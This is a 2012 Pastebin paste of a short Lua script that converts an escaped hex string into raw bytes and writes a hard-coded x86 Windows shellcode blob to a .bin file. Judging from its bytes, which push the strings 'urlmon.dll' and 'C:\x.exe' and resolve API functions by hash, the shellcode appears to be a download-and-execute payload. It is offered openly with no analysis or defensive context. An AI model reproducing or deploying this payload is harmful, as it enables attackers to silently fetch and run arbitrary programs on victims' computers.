Advertisement
captmicro

Writing shellcode to file with lua

Aug 5th, 2012
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.12 KB | None | 0 0
  1. function ToSig(str) --Capt. Micro
  2.     local out = ""
  3.     str = string.gsub(str, "?", "\x3F")
  4.     local i = string.find(str, "x")
  5.     while (i ~= nil) do
  6.         out = out .. string.char('0' .. string.sub(str, i, i+2))
  7.         i = string.find(str, "x", i+2)
  8.     end
  9.     return out
  10. end
  11.  
  12. x = "\xEB\x50\x31\xF6\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E"..
  13. "\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x67"..
  14. "\xE3\xEC\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99"..
  15. "\x02\x17\xC1\xCA\x04\xAE\x75\xF8\x3B\x54\x24\x04\xE0\xE4\x75\xCE"..
  16. "\x8B\x53\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C"..
  17. "\x97\xC3\x68\x8E\x48\x8B\x63\xE8\xA6\xFF\xFF\xFF\x66\xB8\x6C\x6C"..
  18. "\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD5\x68\x83"..
  19. "\x2B\x76\xF6\xE8\x8A\xFF\xFF\xFF\xEB\x21\x50\xFF\xD5\x68\xE7\xC4"..
  20. "\xCC\x69\xE8\x7B\xFF\xFF\xFF\x50\x4C\x4C\x4C\x4C\xFF\xD5\x68\x77"..
  21. "\xA6\x60\x2A\xE8\x6A\xFF\xFF\xFF\x50\xFF\xD5\x50\x68\x2E\x65\x78"..
  22. "\x65\x68\x43\x3A\x5C\x78\x50\x50\x89\xE3\x80\xC3\x08\x53\xE8\xC7"..
  23. "\xFF\xFF\xFF"
  24.  
  25. z = io.open("F:/My Dropbox/osdev/exe/shelltest.bin", "w")
  26. z:write(ToSig(x))
  27. z:close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement